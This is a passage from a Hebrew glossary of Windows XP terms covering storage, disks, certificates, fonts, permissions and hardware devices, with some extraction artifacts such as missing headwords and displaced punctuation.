ומחשבים הכלולים באתרים ,קבוצות מחשבים ויחידות ארגוניות .בנוסף ,לכל מחשב Windows
יש קבוצת הגדרות אחת בדיוק המאוחסנת באופן מקומי ,המכונה אובייקט המדיניות הקבוצתית.
אובייקט מוטבע
מידע שנוצר בתוכנית אחרת והודבק במסמך שלך .כאשר נעשית הטבעת מידע ,באפשרותך
לערוך את המידע במסמך החדש באמצעות סרגלי כלים ותפריטים מהתוכנית המקורית.
כדי לערוך את המידע ,לחץ עליו פעמיים לשם הצגת סרגלי הכלים והתפריטים של התוכנית
ששימשה ליצירת המידע .מידע מוטבע אינו מקושר למקור .אם תשנה מידע במקום אחד ,הוא לא
יתעדכן במקום האחר.
אובייקט מקושר
אובייקט הנוסף למסמך אך קיים עדיין בקובץ המקור .כאשר מידע מקושר ,המסמך החדש
מעודכן אוטומטית כאשר המידע במסמך המקורי משתנה .אם ברצונך לערוך את המידע
המקושר ,לחץ עליו פעמיים .סרגלי הכלים והתפריטים של התוכנית המקורית יופיעו .אם
המסמך המקורי נמצא במחשב שלך ,השינויים שתבצע במידע המקושר יופיעו גם במסמך
המקורי.
422
אובייקט משימה
מבנה ברמת המערכת המאפשר לקבץ יחד תהליכים ולנהל אותם כיחידה אחת.
אופרטור
במתמטיקה ובתיכנות ויישומי מחשב ,סימן או תו אחר המציין פעולה החלה על רכיב אחד או
יותר .באפשרותך להשתמש בארבעת האופרטורים שלהלן בחישובים רגילים:
/חילוק
* כפל
-חיסור
+חיבור
אות כונן
המוסכמה למתן שמות לכונני דיסקים במחשבי IBMובמחשבים תואמים .שם כונן מורכב מאות,
החל מ ,A -ואחריה נקודותיים.
אזור הדיווחים
האזור בשורת המשימות משמאל ללחצני שורת המשימות .אזור הדיווחים מציג את השעה ועשוי
גם להכיל קיצורי דרך המספקים גישה מהירה לתוכניות ,כגון בקרת עוצמה או אפשרויות צריכת
חשמל .קיצורי דרך אחרים עשויים להופיע באופן זמני ולספק מידע אודות המצב של פעילויות.
לדוגמה ,סמל קיצור הדרך של המדפסת מופיע לאחר שמסמך נשלח למדפסת ונעלם בתום
ההדפסה.
אזור מצב
ראה הגדרה עבור :אזור הדיווחים
אחסון בסיסי
פעולת שירות לאחסון ב Windows NT ,Windows ,MS-DOS -ו Windows 2000 -עבור
מחיצות ראשיות ,מחיצות מורחבות וכוננים לוגיים.
אחסון דינאמי
שיטת אחסון ב Windows -המאפשרת ניהול דיסקים ואמצעי אחסון מבלי שתידרש הפעלה
מחדש של המערכת.
423
ראה גם :אחסון בסיסי
אחסון נשלף
שירות המשמש לניהול אמצעי אחסון נשלפים (כגון קלטות ודיסקים) והתקני אחסון (ספריות).
אחסון נשלף מאפשר ליישומים לבצע גישה לאותם משאבים של אמצעי אחסון ולשתף אותם.
איזון עומס
איחוי
תהליך כתיבה מחדש של חלקי קובץ בסקטורים רציפים בדיסק קשיח כדי להגביר את מהירות
הגישה והאחזור .בעת עדכון קבצים ,המחשב נוטה לשמור את העדכונים במקום הרציף הגדול
ביותר בדיסק הקשיח ,הנמצא לרוב בסקטור אחר מאשר זה שבו נמצאים שאר חלקי הקובץ.
כאשר הקבצים מפוצלים כך ,על המחשב לחפש בדיסק הקשיח בכל פעם שהקובץ נפתח כדי
לאתר את כל חלקי הקובץ ,פעולה המאטה את זמן התגובה.
אימות
תהליך המאמת כי ישות או אובייקט הם מי או מה שהם מתיימרים להיות .דוגמאות לכך כוללות
אישור המקור והאמינות של מידע ,כגון אימות חתימה דיגיטלית או אימות זהותו של משתמש או
מחשב.
אינטרא-נט
רשת בתוך ארגון העושה שימוש בטכנולוגיות ופרוטוקולים של האינטרנט ,אך היא זמינה
לאנשים מסוימים בלבד ,לדוגמה העובדים בחברה .אינטרא-נט מכונה גם רשת פרטית.
אינטרנט
אינטרנט .שתי יחידות רשת או יותר המחוברות באמצעות נתבים .שם אחר לרשת.
אינטרנט .רשת עולמית של מחשבים .אם יש לך גישה לאינטרנט ,באפשרותך לאחזר מידע
ממיליוני מקורות ,ביניהם בתי ספר ,ממשלות ,עסקים ואנשים פרטיים.
424
ראה גםWorld Wide Web :
אינפרא-אדום )(IR
אור שהוא מעבר לאדום בקשת הצבעים .עין האדם אינה מסוגלת לראות את האור ,אך משדרים
ומקלטים של אור אינפרא-אדום יכולים לשלוח ולקבל אותות אינפרא-אדומים.
ראה גם ;)IrDA( Infrared Data Association :התקן אינפרא-אדום; יציאת אינפרא-אדום
אישור
מסמך דיגיטלי המשמש לאימות ולהחלפה מאובטחת של מידע ברשתות פתוחות ,כגון האינטרנט,
רשתות אקסטרא-נט ואינטרא-נט .האישור מאגד באופן מאובטח מפתח ציבורי לישות המחזיקה
את המפתח הפרטי התואם .האישורים נחתמים דיגיטלית על-ידי רשות האישורים המנפיקה
אותם וניתנים להנפקה עבור משתמש ,מחשב או שירות .התבנית המקובלת ביותר עבור
אישורים מוגדרת על-ידי התקן הבינלאומי ITU-T X.509גירסה .3
אישור X.509v3
גירסה 3של המלצת X.509 ITU-Tעבור תחביר ותבנית של אישורים .זוהי תבנית האישורים
התקנית בה נעשה שימוש ב Windows XP -בתהליכים מבוססי-אישורים.
אישור X.509כולל את המפתח הציבורי ומידע אודות האדם או הישות עבורם האישור מונפק,
מידע אודות האישור ומידע אופציונלי אודות רשות האישורים ( )CAהמנפיקה את האישור.
אישור בסיס
אישור של רשות אישורים בחתימה עצמית .הוא קרוי אישור בסיס משום שהוא האישור עבור
רשות הבסיס .על רשות הבסיס לחתום על האישור שלה בעצמה משום שעל פי הגדרתה אין
רשות אישורים גבוהה יותר בהירארכיית האישורים.
אל-פסק )(UPS
התקן המחובר בין מחשב ומקור כוח חשמלי ונועד להבטיח אי-הפרעה לזרימת החשמל .בהתקני
UPSנעשה שימוש בסוללות לשם המשך פעולת המחשב לפרק זמן מסוים לאחר הפסקת חשמל.
התקני UPSגם מספקים בדרך כלל הגנה מפני קפיצות מתח ונפילות מתח.
אמצעי אחסון
כל אובייקט קבוע או נשלף המאחסן נתוני מחשב .דוגמאות לאמצעי אחסון כוללות דיסקים
קשיחים ,תקליטונים ,קלטות ותקליטורים.
425
אמצעי אחסון
אזור אחסון בדיסק קשיח .אמצעי אחסון מעוצב באמצעות מערכת קבצים ,כגון FATאו ,NTFS
ומוקצית לו אות כונן .באפשרותך להציג את התוכן של אמצעי אחסון על-ידי לחיצה על הסמל
שלו ב Windows Explorer -או בתיקיה המחשב שלי .דיסק קשיח בודד עשוי להכיל מספר
אמצעי אחסון ,ואמצעי אחסון עשויים גם להתפרס על-פני מספר דיסקים.
ראה גם :אות כונן; אמצעי אחסון מורחב; אמצעי אחסון פשוט; דיסק; טבלת מיקומי קבצים (
;)FATמערכת קבצים של NTFS
אמצעי אחסון השוכן בדיסק דינאמי Windows .תומך בחמישה סוגים של אמצעי אחסון
דינאמיים :פשוטים ,מורחבים ,מפוצלים ,שעברו שיקוף ו .RAID-5 -אמצעי אחסון דינאמי
מאותחל באמצעות מערכת קבצים ,כגון FATאו ,NTFSויש לו אות כונן שהוקצתה עבורו.
ראה גם :אמצעי אחסון; אמצעי אחסון בסיסי; אמצעי אחסון מורחב; אמצעי אחסון מסוג
;RAID-5אמצעי אחסון פשוט; אמצעי אחסון שעבר שיקוף; דיסק בסיסי; דיסק דינאמי
אמצעי אחסון דינאמי המורכב משטח דיסק ביותר מדיסק פיזי אחד .באפשרותך להגדיל אמצעי
אחסון מורחב על-ידי הרחבתו אל דיסקים דינאמיים נוספים .באפשרותך ליצור אמצעי אחסון
מורחבים רק על-גבי דיסקים דינאמיים .אמצעי אחסון מורחבים אינם עמידים בפני תקלות ולא
ניתן לשקפם.
ראה גם :אמצעי אחסון; אמצעי אחסון דינאמי; אמצעי אחסון פשוט; אמצעי אחסון שעבר שיקוף;
דיסק דינאמי
אמצעי אחסון עמיד בפני תקלות עם נתונים וזוגיות המפוצלים לסירוגין על-פני שלושה דיסקים
פיזיים או יותר .זוגיות היא ערך מחושב המשמש לבנייה מחדש של נתונים לאחר כשל .אם יש
כשל בחלק מדיסק פיזי Windows ,יוצר מחדש את הנתונים שנמצאו בחלק עם הכשל מתוך
הנתונים והזוגיות הנותרים .באפשרותך ליצור אמצעי אחסון מסוג RAID-5רק בדיסקים
דינאמיים ,ואין באפשרותך לשקף או להרחיב אמצעי אחסון מסוג .RAID-5
ראה גם :אמצעי אחסון; אמצעי אחסון דינאמי; דיסק דינאמי; זוגיות
אמצעי האחסון שממנו מופעל המחשב .על אמצעי האחסון הפעיל להיות אמצעי אחסון פשוט
בדיסק דינאמי .אין באפשרותך לסמן אמצעי אחסון דינאמי קיים כאמצעי האחסון הפעיל ,אך
426
באפשרותך לשדרג דיסק בסיסי המכיל את המחיצה הפעילה לדיסק דינאמי .לאחר שהדיסק
שודרג לדיסק דינאמי ,המחיצה הופכת לאמצעי אחסון פשוט פעיל.
ראה גם :אמצעי אחסון דינאמי; אמצעי אחסון פשוט; דיסק בסיסי; דיסק דינאמי; מחיצה פעילה
אמצעי אחסון דינאמי הבנוי משטח דיסק מדיסק דינאמי יחיד .אמצעי אחסון פשוט עשוי להיות
מורכב מאזור בודד בדיסק או ממספר אזורים של אותו דיסק המקושרים יחד .באפשרותך
להרחיב אמצעי אחסון פשוט בתוך אותו דיסק או לתוך דיסקים נוספים .בעת הרחבת אמצעי
אחסון פשוט על-פני מספר דיסקים ,הוא הופך לאמצעי אחסון מורחב .באפשרותך ליצור אמצעי
אחסון פשוטים רק על-גבי דיסקים דינאמיים .אמצעי אחסון פשוטים אינם עמידים בפני תקלות,
אך באפשרותך לשקף אותם לשם יצירת אמצעי אחסון שעברו שיקוף.
ראה גם :אמצעי אחסון; אמצעי אחסון דינאמי; אמצעי אחסון מורחב; אמצעי אחסון שעבר
שיקוף; דיסק דינאמי
אמצעי אחסון עמיד בפני תקלות המשכפל נתונים בשני דיסקים פיזיים .אמצעי אחסון שעבר
שיקוף מספק יתירות נתונים על-ידי שימוש בשני אמצעי אחסון זהים ,הקרויים שיקופים ,לשם
שכפול המידע הכלול באמצעי האחסון .שיקוף ממוקם תמיד בדיסק שונה .אם מתרחש כשל
באחד מהדיסקים הפיזיים ,הנתונים בדיסק עם הכשל הופכים לבלתי זמינים ,אך המערכת
ממשיכה לפעול בשיקוף בדיסק הנותר .ניתן ליצור אמצעי אחסון שעברו שיקוף רק באמצעות
דיסקים דינאמיים.
ראה גם :אמצעי אחסון; אמצעי אחסון דינאמי; אמצעי אחסון מסוג ;RAID-5דיסק דינאמי
אמצעי האחסון המכיל את מערכת ההפעלה Windowsואת קבצי התמיכה שלה .אמצעי האחסון
יכול להיות זהה לאמצעי האחסון של המערכת ,אך אין זה הכרחי.
ראה גם ;x86 :אמצעי אחסון; אמצעי האחסון לאתחול; מערכת קלט/פלט בסיסית ()BIOS
אפיק
ערוץ תקשורת המשמש להעברת נתונים בין הרכיבים של מערכת מחשב .האפיק מאפשר
למעשה שיתוף נתונים בין חלקי המערכת השונים .לדוגמה ,אפיק מקשר את בקר כונן הדיסקים,
הזיכרון ויציאות הקלט/פלט למיקרו-מעבד.
427
ראה גם :אפיק טורי אוניברסלי ()USB
אפיק חיצוני התומך בהתקנה מסוג הכנס-הפעל .באמצעות ,USBבאפשרותך לחבר ולנתק
התקנים מבלי לכבות או להפעיל מחדש את המחשב .ניתן להתחבר באמצעות יציאת USBיחידה
ל 127 -התקנים היקפיים לכל היותר ,כולל רמקולים ,טלפונים ,כונני תקליטורים ,ג'ויסטיקים,
כונני קלטות ,לוחות מקשים ,סורקים ומצלמות .יציאת USBממוקמת בדרך כלל בחלקו האחורי
של המחשב ליד היציאה הטורית או היציאה המקבילית.
אשף
כלי המנחה משתמש לאורך השלבים של תהליך או משימה על-ידי הפניה של סדרת שאלות או
הצגת אפשרויות .לדוגמה ,אשפים עשויים לעזור לך בהפעלת מסמך עיבוד תמלילים ,בהתקנת
תוכנה או ביצירת קובץ מסד נתונים בפעם הראשונה.
אתחול
תהליך איפוס המחשב או הפעלתו .בעת הפעלת המחשב (אתחול קר) או איפוסו (אתחול חם),
הוא מפעיל את התוכנה הטוענת ומפעילה את מערכת ההפעלה של המחשב ,המכינה אותו
לשימוש.
אתחול
בניהול הדיסקים ,התהליך של זיהוי דיסק או אמצעי אחסון והקצאת מצב (לדוגמה ,תקין) וסוג
(לדוגמה ,דינאמי) עבורו.
ראה גם :אמצעי אחסון בסיסי; אמצעי אחסון דינאמי; דיסק בסיסי; דיסק דינאמי
אתחול כפול
אתחול מחדש
הפעלה מחדש של מחשב על-ידי טעינה מחדש של מערכת ההפעלה .דבר זה ניתן ליישום על-ידי
ביצוע אתחול קר ,שהוא כיבוי המחשב והפעלתו מחדש ,או אתחול חם ,שהוא כיבוי המחשב על-
ידי הקשה על ,CTRL + ALT + DELלחיצה על כיבוי ולאחר מכן לחיצה על הפעלה מחדש.
אתחול מרובה
428
ב
בחירה
ציון בלוק של נתונים או טקסט על המסך על-ידי סימונו בדרך זו או אחרת ,מתוך כוונה לבצע
עליו פעולות מסוימות.
ביטול טעינה
ביטול עגינה
בינארי
מערכת מספרים בבסיס 2שבה הערכים מבוטאים כצירופים של שתי ספרות 0 ,ו.1 -
פרוטוקול שיתוף קובץ שנועד לאפשר למחשבים ברשת לבצע גישה שקופה לקבצים השוכנים
במערכות מרוחקות דרך מגוון של רשתות .פרוטוקול SMBמגדיר סידרה של פקודות
המעבירות מידע בין מחשבים .ב SMB -נעשה שימוש בארבעה סוגי הודעות :בקרת הפעלה,
קובץ ,מדפסת והודעה.
בסיס
הרמה הגבוהה ביותר או העליונה בערכת מידע המאורגנת באופן הירארכי .הבסיס הוא הנקודה
שממנה ערכות משנה נוספות מסתעפות ברצף לוגי הנע מהמוקד הרחב או הכללי אל נקודות מבט
צרות יותר.
בתים
יחידת נתונים המכילה בדרך כלל תו יחיד ,כגון אות ,ספרה או סימן פיסוק .תווים בודדים
מסוימים עשויים לתפוס יותר מקום מאשר בית אחד.
ג
גודל זיכרון וירטואלי
במנהל המשימות ,כמות הזיכרון הווירטואלי ,או שטח הכתובות ,הניתן לתהליך.
429
ראה גם :זיכרון וירטואלי; מנהל המשימות
גוון
מיקומו של צבע לאורך קשת הצבעים .לדוגמה ,ירוק נמצא בין צהוב לכחול .ניתן להגדיר תכונה
זו באמצעות 'תצוגה' ב'לוח הבקרה'.
גופן
עיצוב גרפי המוחל על אוסף של מספרים ,סמלים ותווים .גופן מתאר צורה מסוימת וכן תכונות
נוספות כגון גודל ,מרווח ורוחב.
גופן וקטורי
גופן שנוצר ממודל מתמטי ,שבו כל תו מוגדר כקבוצת קווים הנמתחים בין נקודות .ניתן להתאים
גופנים וקטוריים בצורה חלקה לכל גודל או יחס רוחב-גובה.
גופן מחסנית
גופן הכלול במחסנית Plug-inומשמש להוספת גופנים למדפסות לייזר ,מדפסות הזרקת דיו או
מדפסות סיכות מתקדמות .גופני מחסנית נבדלים הן מגופנים פנימיים ,הכלולים בROM -
במדפסת ותמיד זמינים ,והן מגופנים הניתנים להורדה (רכים) ,השוכנים בדיסק וניתנים לשליחה
למדפסת בעת הצורך.
גופן תווין
גופן שנוצר באמצעות סדרת נקודות המחוברות באמצעות קווים .ניתן לשנות גופני תווין לכל
גודל והדפסתם מתבצעת על פי רוב בתווינים .מדפסות סיכות מסוימות תומכות אף הן בגופני
תווין.
גופני OpenType
גופני מיתאר המצוירים באמצעות פקודות קווים ועיקולים ושניתן לשנות את גודלם ולסובבם.
גופני OpenTypeהינם ברורים וקריאים בכל הגדלים ובכל התקני הפלט הנתמכים על-ידי
OpenType .Windowsמהווה הרחבה של טכנולוגיית גופני .TrueType
430
גופני PostScript
גופנים המוגדרים בהתאם לכללי שפת תיאור העמוד ( PostScript )PDLומיועדים להדפסה
במדפסת תואמת .PostScriptכאשר מסמך המוצג בגופן מסך נשלח למדפסת ,PostScript
המדפסת משתמשת בגירסת ה PostScript -אם הגופן קיים .אם הגופן אינו קיים אך מותקנת
גירסה במחשב ,גופן זה נטען אל המדפסת .אם גופן PostScriptאינו מותקן במדפסת ואינו
מותקן במחשב ,גופן מפת הסיביות (גופן הסריקה) מתורגם ל PostScript -והמדפסת יוצרת
טקסט באמצעות גופן מפת הסיביות .גופני PostScriptנבדלים מגופני מפת סיביות בחלקות,
בפירוט ובנאמנותם לתקני איכות שנקבעו בתעשיית הדפוס.
ראה גם ;PostScript :גופן; גופני סריקה; גופנים נטענים; שפת תיאור עמוד ()PDL
גופני TrueType
גופנים מדורגים שנוצרים לעיתים כגופני מפת סיביות או כגופנים נטענים ,בהתאם ליכולות
המדפסת שברשותך .גופני TrueTypeהם גופנים שאינם תלויים בהתקן ומאוחסנים כמיתארים.
ניתן להתאימם לכל גובה ולהדפיסם בדיוק כפי שהם מופיעים על המסך.
גופני התקן
גופנים השוכנים במדפסת .הם עשויים להיות מוכללים במדפסת עצמה או מצורפים במחסנית
גופנים או כרטיס גופנים.
גופני מדפסת
גופנים השוכנים במדפסת או מיועדים עבור מדפסת .גופן מדפסת ,הממוקם בדרך כלל בזיכרון
לקריאה בלבד ( )ROMשל המדפסת ,עשוי להיות פנימי ,להתקבל בהורדה או להימצא במחסנית
גופן.
גופני מסך
גופן שנועד לתצוגה בצג של מחשב .לגופני מסך נלווים לעיתים קרובות גופני PostScriptלשם
הדפסה במדפסות התואמות ל.PostScript -
431
גופני סריקה
גופנים המאוחסנים כמפות סיביות .גופני סריקה מעוצבים בגודל וברזולוציה ספציפיים עבור
מדפסת ספציפית ולא ניתן לשנות את קנה המידה שלהם או לסובב אותם .אם מדפסת אינה
תומכת בגופני סריקה ,היא לא תדפיס אותם .חמשת גופני הסריקה הם MS Sans ,Courier
Small ,MS Serif ,Serifו .Symbol -גופני סריקה קרויים גם גופני מפת סיביות.
גופנים נטענים
ערכת תווים המאוחסנת בדיסק ונשלחת (נטענת) לזיכרון מדפסת כאשר יש בה צורך לשם
הדפסת מסמך .גופנים נטענים משמשים בדרך כלל במדפסות לייזר ומדפסות דפים אחרות ,אם
כי גם מדפסות סיכות רבות עשויות לקבל כמה מהם .גופנים נטענים מכונים גם גופנים רכים.
ג'יגה-בית )(GB
גרירה
הזזת פריט על המסך על-ידי בחירת הפריט ,לחיצה על לחצן העכבר והחזקתו לחוץ תוך כדי
הזזת העכבר .לדוגמה ,באפשרותך להזיז חלון למיקום אחר על המסך על-ידי גרירת פס הכותרת
שלו.
ד
דחיסת חומרה
תכונה הזמינה בהתקני קלטות מסוימים המבצעת דחיסה אוטומטית של הנתונים המאוחסנים
בהם .זוהי בדרך כלל אפשרות המופעלת או מבוטלת בתוכנית גיבוי.
דחיסת מודם
טכניקה המשמשת להפחתת מספר התווים המשודרים ללא אובדן תוכן הנתונים .המודם המשדר
דוחס את הנתונים והמחשב או המודם המקבל מבטל את דחיסת הנתונים בחזרה למצבם המקורי.
דיו
כאשר אפשרות זו מסומנת ,ניתן להזין טקסט בצורת כתב יד .במקום להמיר את הטקסט הכתוב
בכתב יד לטקסט מודפס ,הטקסט עובר המרה לאובייקט ומוצג בדיוק כפי שכתבת אותו .לדוגמה:
.
432
דיסק
דיסק בסיסי
דיסק פיזי הניתן לגישה מ MS-DOS -וכל מערכות ההפעלה המבוססות על .Windows
דיסקים בסיסיים יכולים להכיל עד ארבע מחיצות ראשיות או שלוש מחיצות ראשיות ומחיצה
מורחבת בעלת כוננים לוגיים מרובים .אם ברצונך ליצור מחיצות המתפרסות על מספר דיסקים,
עליך להמיר תחילה את הדיסק הבסיסי לדיסק דינאמי באמצעות ניהול דיסק או כלי השירות
Diskpart.exeשל שורת הפקודה.
ראה גם ;)Microsoft Disk Operating System( MS-DOS :דיסק דינאמי; כונן לוגי;
מחיצה מורחבת; מחיצה ראשית
דיסק דינאמי
דיסק פיזי שאליו ניתן לגשת רק באמצעות Windows 2000ו .Windows XP -דיסקים
דינאמיים מספקים תכונות שדיסקים בסיסיים אינם מספקים ,כגון תמיכה באמצעי אחסון
המתפרסים על פני דיסקים מרובים .דיסקים דינאמיים עושים שימוש במסד נתונים נסתר לשם
מעקב אחר מידע אודות אמצעי אחסון דינאמיים בדיסק ודיסקים דינאמיים אחרים במחשב.
באפשרותך להמיר דיסקים בסיסיים לדינאמיים באמצעות יישום ה" Snap-in -ניהול הדיסק" או
באמצעות כלי השירות DiskPartבשורת הפקודה .בעת המרת דיסק בסיסי לדינאמי ,כל אמצעי
האחסון הבסיסיים הקיימים הופכים לאמצעי אחסון דינאמיים.
ראה גם :אמצעי אחסון; אמצעי אחסון בסיסי; אמצעי אחסון דינאמי; אמצעי אחסון פעיל; דיסק
בסיסי
סוג של טכנולוגיית אחסון על-גבי דיסק אופטי .דיסק וידאו דיגיטלי ( )DVDנראה כמו
תקליטור ,אך ניתן לאחסן בו כמות נתונים גדולה יותר .דיסקים של DVDמשמשים בדרך כלל
לאחסון סרטים באורך מלא ותוכן מולטימדיה אחר המצריך כמויות גדולות של שטח אחסון.
דיסק מערכת
דיסק קשיח
התקן ,המכונה גם כונן דיסק קשיח ,המכיל דיסקות קשיחות מצופות בחומר שבו ניתן לרשום
באופן מגנטי נתונים באמצעות ראשי כתיבה/קריאה .הדיסק הקשיח נמצא בקופסה אטומה המגנה
עליו ומאפשרת לראש לרחף בגובה 10-25מיליונית האינץ' מעל למשטח הדיסקה .ניתן לאחסן
נתונים ולגשת אליהם במהירות גבוהה הרבה יותר מאשר בתקליטון.
433
דיסק ראשי
דפדפן
תוכנה המפענחת את סימוני הקבצים ב ,HTML -מעצבת אותם כדפי אינטרנט ומציגה אותם
למשתמש .בדפדפנים מסוימים קיימת אפשרות לשלוח ולקבל דואר אלקטרוני ,לקרוא הודעות
בקבוצות דיון ,להשמיע קבצי קול או להפעיל קבצי וידאו המוטבעים במסמכי אינטרנט.
ה
הגדלה
הגדלת חלון לגודל המירבי שלו על-ידי לחיצה על לחצן הגדל (בצד שמאל של פס הכותרת) ,או
על-ידי הקשת +ALTמקש רווח ולאחר מכן הקשה על .X
הגדרות תקשורת
פרמטרים של הפעלה ,כגון מספר סיביות בשניה ( )bpsוסוג מודם ,החלות על יציאות טוריות
במחשב.
הדפסה ברקע
תהליך בשרת שבו מסמכים להדפסה מאוחסנים בדיסק עד שמדפסת מתפנה ומוכנה לעבדם.
מנגנון הדפסה ברקע מקבל כל מסמך מכל לקוח ,מאחסן אותו ולאחר מכן שולח אותו למדפסת
כאשר המדפסת מוכנה.
434
הודעת Trap
ב ,)SNMP( Simple Network Management Protocol -הודעה שנשלחת על-ידי סוכן
למערכת ניהול ומציינת שאירוע התרחש במחשב המארח המפעיל את הסוכן.
הודעת טרנזקציה
עבור ניהול תורי הודעות ,הודעה שניתן לשלוח או לקבל אותה רק מתוך טרנזקציה .הודעה מסוג
זה מוחזרת למצבה הקודם כאשר טרנזקציה מופסקת בצורה פתאומית .הודעת טרנזקציה מוסרת
מתור רק כאשר הטרנזקציה מתבצעת; בכל מקרה אחר ,היא נותרת בתור ולאחר מכן ניתן
לקרוא אותה במהלך טרנזקציה אחרת.
הורדה
העברת עותק של קובץ ממחשב מרוחק אל המחשב המבקש באמצעות מודם או רשת.
היפר-קישור
טקסט צבעוני המסומן בקו תחתון או פריט גרפיקה שעליו באפשרותך ללחוץ כדי לעבור אל
קובץ ,מיקום בקובץ ,דף HTMLב World Wide Web -או דף HTMLברשת אינטרא-נט.
היפר-קישורים יכולים גם להוביל לקבוצות דיון ולאתרי Telnet ,Gopherו.FTP -
הירארכיה של אישורים
מודל של אמון עבור אישורים שבו נוצרים נתיבי אישורים באמצעות יצירת יחסי הורה-צאצא
בין רשויות אישורים.
הכנס-הפעל
מערכת מפרטים שפותחה על-ידי Intelומאפשרת למחשב לזהות ולהגדיר התקן אוטומטית
ולהתקין את מנהלי ההתקן המתאימים.
המסמכים שלי
תיקיה המספקת מקום נוח לאחסן בו מסמכים ,גרפיקה או קבצים אחרים שברצונך לקבל אליהם
גישה מהירה .בעת שמירת קובץ בתוכנית כגון כתבן או צייר ,הקובץ נשמר אוטומטית בתוך
המסמכים שלי ,אלא אם כן בחרת בתיקיה שונה.
435
ראה גם :תיקיית הבית
המתנה
מצב שבו המחשב שלך צורך פחות כוח חשמלי כאשר הוא לא פעיל ,אך נותר זמין לשימוש
מיידי .כאשר המחשב שלך נמצא בהמתנה ,מידע בזיכרון מחשב אינו נשמר בדיסק הקשיח.
במקרה של הפסקת חשמל ,המידע בזיכרון אובד.
המתנה לשיחה
אות טלפוניה לכך שהיישום חיבורי רשת העביר את המודם למצב האזנה וממתין לשיחות
נכנסות.
הסרת התקנה
בהתייחסות לתוכנה ,פעולת ההסרה של קבצים ותיקיות של תוכניות מהדיסק הקשיח והסרת
נתונים הקשורים בהם מהרישום כך שהתוכנה חדלה להיות זמינה.
בהתייחסות להתקן ,פעולת ההסרה של מנהלי ההתקנים התואמים מהדיסק הקשיח וההסרה
הפיזית של ההתקן מהמחשב.
העברת קבצים אלחוטית בין מחשב למחשב או התקן אחר באמצעות אור אינפרא-אדום.
הפעלה מהירה
סרגל כלים הניתן להתאמה אישית ,המאפשר לך להציג את שולחן העבודה של Windowsאו
להפעיל תוכנית (לדוגמה )Internet Explorer ,בלחיצה בודדת .באפשרותך להוסיף לחצנים
לשם הפעלת התוכניות המועדפות עליך ממיקום ההפעלה המהירה בשורת המשימות.
במנהל המשימות ,השינוי במספר תקלות קובץ ההחלפה מאז העדכון האחרון.
הצגת צליל
תכונה המורה לתוכניות שבדרך כלל מעבירות מידע רק באמצעות צליל לספק מידע גם באופן
חזותי ,לדוגמה על-ידי הצגת כיתוב או סמלים אינפורמטיביים.
436
הצפנה
הצפנה סימטרית
אלגוריתם הצפנה המצריך שימוש באותו מפתח סודי הן עבור הצפנה והן עבור פענוח .בשל
מהירותה ,נהוג להשתמש בהצפנה סימטרית כאשר שולח הודעה נדרש להצפין כמויות גדולות
של נתונים .הצפנה סימטרית קרויה גם הצפנה באמצעות מפתח סודי.
הרשאה
כלל המשויך לאובייקט שנועד לקבוע אילו משתמשים רשאים לקבל גישה לאובייקט ובאיזה
אופן .הרשאות מוענקות או נשללות על-ידי הבעלים של האובייקט.
ראה גם :אובייקט; הרשאות גישה מיוחדת; הרשאות מדפסת; הרשאות תיקיה משותפת
הרשאה
זכות משתמש לבצע משימה ספציפית ,בדרך כלל משימה המשפיעה על מערכת מחשבים שלמה
ולא על אובייקט מסוים .הרשאות מוקצות על-ידי מנהלים למשתמשים בודדים או לקבוצות של
משתמשים כחלק מהגדרות האבטחה עבור המחשב.
הרשאות
כלל המשויך לאובייקט שנועד לקבוע אילו משתמשים רשאים לקבל גישה לאובייקט ובאיזה
אופן .הרשאות מוענקות או נשללות על-ידי הבעלים של האובייקט.
הרשאות מדפסת
הרשאות המציינות את סוג הגישה למדפסת שיש למשתמש או לקבוצה .הרשאות ההדפסה הן
הדפסה ,ניהול מדפסות וניהול מסמכים.
437
השהיה לפני חזרה
השהיית משך הזמן שחולף לפני שתו מתחיל לחזור בעת החזקת מקש לחוץ.
התחברות יחידה
תהליך המאפשר למשתמש עם חשבון קבוצת מחשבים להיכנס לרשת פעם אחת ,תוך שימוש
בסיסמה או בכרטיס חכם ,ולקבל גישה לכל מחשב בקבוצת המחשבים.
התקן
כל רכיב ציוד שניתן לחבר לרשת או למחשב ,כגון מחשב ,מדפסת ,ג'ויסטיק ,מתאם או כרטיס
מודם ,או כל ציוד היקפי אחר .התקנים מצריכים בדרך כלל מנהל התקן כדי לפעול ב-
.Windows
התקן PCMCIA
התקן נשלף ,בערך בגודל כרטיס אשראי ,שניתן להכניסו לחריץ PCMCIAבמחשב נישא.
התקני PCMCIAעשויים לכלול התקני מודם ,מתאמי רשת וכוננים קשיחים.
באפשרותך לחבר כרטיסי PCMCIAמסוימים למחשב שלך או לנתקם ממנו מבלי להפעילו
מחדש .עם זאת ,לפני הסרת כרטיס ה ,PCMCIA -עליך לדווח ל Windows -באמצעות אשף
הוספת החומרה שאתה עומד לבצע זאת Windows .ידווח לך לאחר מכן מתי ניתן להסיר את
ההתקן.
התקן אינפרא-אדום
מחשב או ציוד היקפי למחשב כגון מדפסת ,בעל אפשרות לקיים תקשורת באמצעות אור
אינפרא-אדום.
טכנולוגיית מחשב מסייעת עבור אנשים עם מגבלות תנועה .התקן מתג יחיד מאפשר למשתמשים
לפעול באינטראקציה עם מחשב באמצעות תנועות גוף קלות.
התקן נשיפה
טכנולוגיית מחשב מסייעת עבור אנשים בעלי מגבלות תנועה .התקן נשיפה הוא חלופה נישאת
על הראש לשימוש בעכבר .ההתקן מאפשר למשתמש להזיז את מצביע העכבר מבלי להשתמש
בידיו על-ידי נשיפת אוויר לתוך שפופרת.
438
התקן קלט בכתב יד
כלי ,כגון עט ולוח דיגיטליים ,המשמש להזנת טקסט בכתיבה במקום בהקלדה .בנוסף ללוחות
כתיבה ,באפשרותך להשתמש בלוחות ציור תלת מימדיים או לוחות שרטוט בעזרת מחשב (
)CADאו לוח מחשב .באפשרותך לכתוב גם על-ידי הזזת העכבר על-גבי משטח העכבר.
מאפשר לך לחבר התקן קלט חלופי (קרוי גם התקן תקשורת מרחיב) ליציאה הטורית של
המחשב .תכונה זו נועדה עבור אנשים שאין ביכולתם להשתמש בלוח המקשים והעכבר הרגילים
של המחשב.
התקן קלט שמע מקליט קלט מוסיקה וקול למחשב שלך .דוגמאות להתקני קלט שמע הן נגני
תקליטורים ומיקרופונים.
התקן ,כגון מדפסת ,מודם או בקר משחקים ,המצריך קביעת תצורה ידנית של הגדרות חומרה
לפני השימוש בו .התקנים שאינם מסוג הכנס-הפעל הולכים ומתמעטים מאחר שיצרנים מפסיקים
לייצר אותם לטובת התקני הכנס-הפעל .התקנים מסוג הכנס-הפעל מתאימים בדרך כלל לציוד
ישן.
